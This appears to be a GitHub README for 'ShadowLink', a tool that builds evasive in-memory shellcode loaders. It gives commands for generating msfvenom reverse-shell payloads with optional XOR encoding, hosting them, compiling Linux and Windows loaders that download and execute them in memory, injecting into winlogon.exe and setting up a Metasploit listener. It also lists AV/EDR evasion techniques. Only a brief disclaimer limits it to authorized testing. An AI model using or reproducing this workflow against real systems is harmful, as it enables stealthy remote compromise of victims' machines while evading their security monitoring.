πΆοΈ ShadowLink
September 1, 2025 Β· View on GitHub
Where access meets invisibility.
ShadowLink is a next-generation, automated framework for generating, obfuscating, and delivering shellcode through in-memory loaders. Designed for red team operations, penetration testing, and offensive research, ShadowLink empowers attackers to deploy stealthy, fileless payloads that execute directly in memory β bypassing traditional AV/EDR detection mechanisms.
With a modular design and seamless automation, ShadowLink turns complex exploitation workflows into one-liner commands, making payload delivery faster, smarter, and more evasive than ever.
β¨ Crafted for control. Built for stealth.
π₯ What is ShadowLink
ShadowLink is a modular framework that automates the creation of custom shellcode loaders with built-in evasion capabilities. The system generates native C programs that download shellcode from a remote server and execute it entirely in memory, leaving minimal forensic artifacts on target systems.
The framework supports multiple execution modes including basic shellcode loading, XOR-obfuscated payloads, and advanced Windows process injection techniques. All components are orchestrated through shell scripts that handle shellcode generation, encoding, loader compilation, and cross-platform builds.
π₯ Key Features
β
Automated Shellcode Generation
β Uses msfvenom to generate raw payloads for Linux & Windows.
β
XOR Obfuscation (Optional)
β Encode shellcode with a custom XOR key to evade static detection.
β
In-Memory Execution
β Payloads are downloaded and executed directly in memory β no disk writes.
β
Dual-Platform Support
β Generate native loaders for Linux (via mmap) and Windows (via VirtualAlloc + NtCreateThreadEx).
β
Remote Process Injection (Windows)
β Inject shellcode into remote processes like winlogon.exe using low-level NTAPI calls.
β
Customizable C Loaders
β Fully templated C code with placeholders for URL, User-Agent, timeout, and size limits.
β
No Dependencies (Runtime)
β Final binaries are statically linked and require no external libraries on target.
β
Easy Integration with Metasploit
β Works seamlessly with exploit/multi/handler.
π οΈ Installation
git clone https://github.com/your-username/shadowlink.git
cd shadowlink
chmod +x *.sh
π οΈ Prerequisites
# Debian/Kali/Ubuntu
sudo apt update
sudo apt install \
gcc \
mingw-w64 \
curl \
libcurl4-openssl-dev \
xxd \
python3 \
metasploit-framework \
make
π Quick Start
- Generate a Linux Payload (No XOR)
./main.sh linux 10.10.14.10 5555
- Generate a Windows Payload (With XOR)
./main.sh windows 10.10.14.10 4444 xor 0x42
π This will:
- Generate a reverse shell payload.
- Apply XOR encoding (if enabled).
- Host the payload on your server (you can use python3 -m http.server 80).
- Build a custom C loader that downloads and executes the payload in memory.
- Output a ready-to-use binary: loader_linux or loader_windows.exe.
- Set Up Your Listener
msfconsole -q -x "
use exploit/multi/handler;
set PAYLOAD [linux|windows]/x64/shell_reverse_tcp;
set LHOST 0.0.0.0;
set LPORT 5555;
run
"
- Deliver & Execute Transfer the binary to the target and run it. The loader will:
- Download the shellcode from your server.
- Decode it (if XORβd).
- Allocate executable memory.
- Execute the payload β all in memory.
π Project Structure
shadowlink/
βββ main.sh # Main orchestrator (entry point)
βββ gen_txt.sh # Generates shellcode + XOR encoding
βββ gen_xor.sh # Applies XOR encoding to binary
βββ gen_loader.sh # Generates basic C loader (no XOR)
βββ gen_loader2.sh # Generates XOR-aware C loader
βββ loader_windows_infect.c # Advanced: Injects into remote process (e.g. winlogon.exe)
βββ Makefile # Cross-compilation rules
βββ README.md
π§Ό Evasion Techniques
- β No Disk Artifacts: Shellcode fetched at runtime.
- β XOR Encoding: Breaks static signatures.
- β Custom User-Agent & Timeout: Mimics legitimate traffic.
- β In-Memory Execution: No PE file parsing.
- β NTAPI Direct Calls: Evades API hooking on Windows.
β οΈ Legal Disclaimer
This tool is for educational and authorized security testing only. I do not support or condone unauthorized hacking. Use responsibly and only on systems you have explicit permission to test.
The author assumes no liability for misuse.
π€ Want to Improve ShadowLink?
Contributions are highly welcome!
π License GPLv3
π Acknowledgments
- Inspired by fileless malware techniques and red team tradecraft.
- Powered by msfvenom, mingw-w64, and the eternal art of offensive engineering.
| ShadowLink β Because the best connections are the ones no one sees. | Made with β€οΈ and a little bit of darkness.
Links
- https://github.com/grisuno/LazyOwn
- https://grisuno.github.io/LazyOwn/
- https://www.reddit.com/r/LazyOwn/
- https://github.com/grisuno/LazyOwnBT
- https://web.facebook.com/profile.php?id=61560596232150
- https://app.hackthebox.com/teams/overview/6429
- https://app.hackthebox.com/users/1998024
- https://patreon.com/LazyOwn
- https://deepwiki.com/grisuno/ebird3
- https://deepwiki.com/grisuno/hellbird
- https://github.com/grisuno/cgoblin
- https://github.com/grisuno/gomulti_loader
- https://github.com/grisuno/ShadowLink
- https://github.com/grisuno/OverRide
- https://github.com/grisuno/amsi
- https://medium.com/@lazyown.redteam
- https://discord.gg/V3usU8yH
- https://ko-fi.com/Y8Y2Z73AV
- https://medium.com/@lazyown.redteam/the-ebird3-chronicles-when-your-calculator-gets-a-phd-in-cybercrime-and-why-thats-perfectly-cc1738a3affc
- https://github.com/grisuno/LazyOwn/archive/refs/tags/release/0.2.58.tar.gz